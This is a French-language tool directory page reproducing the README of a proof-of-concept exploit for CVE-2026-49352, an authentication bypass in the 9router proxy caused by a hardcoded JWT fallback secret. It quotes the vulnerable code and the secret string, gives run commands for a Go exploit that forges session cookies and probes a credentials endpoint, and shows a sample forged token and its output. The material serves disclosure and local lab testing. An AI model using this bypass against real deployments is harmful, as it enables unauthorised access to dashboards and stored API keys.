Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-49352-poc — Exploitabilité PoC pour CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass) | Kitploit
Outils/GitHubGitHub/covepseng/cve-2026-49352-poc
Authentification et AutorisationGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubcovepseng/cve-2026-49352-poc

cve-2026-49352-poc

Exploitabilité PoC pour CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass)

Voir le dépôt
19il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-49352 — Contournement de l'authentification par secret JWT codé en dur dans 9router

Table des matières

  • Aperçu
  • Versions affectées
  • Cause racine
  • Analyse
  • Structure du dépôt
  • Prérequis
  • Utilisation
  • Sortie attendue
  • Références
  • Avertissement

Aperçu

CVE-2026-49352 est une vulnérabilité dans 9router, un proxy auto-hébergé Node.js/Next.js pour les outils de codage IA. Le JWT de session du tableau de bord est signé avec un secret provenant de la variable d'environnement JWT_SECRET, mais si cette variable n'est pas définie, le gestionnaire de connexion et le garde de requête reviennent tous deux au même littéral codé en dur :

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

Comme cette chaîne est stockée dans le dépôt public, ce n'est pas du tout un secret. Tout attaquant peut signer un jeton avec elle et être considéré comme un utilisateur authentifié du tableau de bord.


Versions affectées

Plage affectéeCorrigé dans
0.2.21 – 0.4.410.4.45

Cause racine

Le secret de repli est défini à l'identique dans deux fichiers indépendants.

src/app/api/auth/login/route.js — émet le jeton de session lors de la connexion :

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("24h")
  .sign(SECRET);

src/dashboardGuard.js — vérifie le jeton sur chaque requête protégée :

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

async function hasValidToken(request) {
  const token = request.cookies.get("auth_token")?.value;
  if (!token) return false;
  try {
    await jwtVerify(token, SECRET);
    return true;
  } catch {
    return false;
  }
}

Le succès de hasValidToken() est la seule condition vérifiée avant d'accorder l'accès à /dashboard et aux points de terminaison listés dans ALWAYS_PROTECTED (y compris /api/settings/database). Il n'y a pas de recherche d'enregistrement de session ni de validation de l'origine du jeton — une signature valide est considérée comme une preuve d'identité.


Analyse

Le contournement est confirmé et reproductible sur une version du code affecté. Avec JWT_SECRET non défini :

[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed

[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200

La forme du déploiement est importante

La vulnérabilité ne se déclenche que lorsque JWT_SECRET n'a jamais été défini par l'opérateur — la valeur par défaut pour la plupart des déploiements rapides / docker-run qui sautent l'étape de configuration de l'environnement. Les déploiements qui définissent explicitement JWT_SECRET sur une valeur aléatoire ne sont pas affectés, car SECRET est dérivé une fois au chargement du module et ne revient jamais en arrière.


Structure du dépôt

cve-2026-49352-poc/
├── dockerfile                   # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml           # build + run, JWT_SECRET intentionally omitted
└── exploit/
    ├── go.mod                   # requires github.com/golang-jwt/jwt/v5
    └── exploit.go                # PoC — Go

Prérequis

OutilVersionRemarques
Podman≥ 4.0podman-compose requis
Go≥ 1.22Pour exécuter l'exploit localement

Dépendance Go externe : github.com/golang-jwt/jwt/v5.


Utilisation

1. Construire et démarrer le conteneur

podman-compose build
podman-compose up -d

Attendez que l'application signale qu'elle est prête, puis vérifiez :

curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)

2. Exécuter l'exploit

cd exploit
go run exploit.go -target http://localhost:20128

Ajoutez -probe pour demander également /api/settings/database avec le cookie forgé :

go run exploit.go -target http://localhost:20128 -probe

Drapeaux disponibles :

DrapeauDéfautDescription
-targethttp://localhost:20128URL de base de l'instance 9router
-secret9router-default-secret-change-meSecret de repli JWT pour forger
-ttl36 * 365 * 24hFenêtre de validité du jeton forgé
-probefalseDemander également /api/settings/database

3. Nettoyage

podman-compose down -v

Sortie attendue

[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}

Références

RessourceLien
AvisGHSA-jphh-m39h-6gwx
Dépôt vulnérabledecolua/9router
Analyse complète — article de blogreturn-zero.dev/posts/cve-2026-49352

Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et à une analyse locale de l'exploitabilité. Tous les tests ont été effectués sur un environnement conteneurisé auto-hébergé. N'exécutez pas cette Preuve de Concept (PoC) contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.

Télécharger l’outil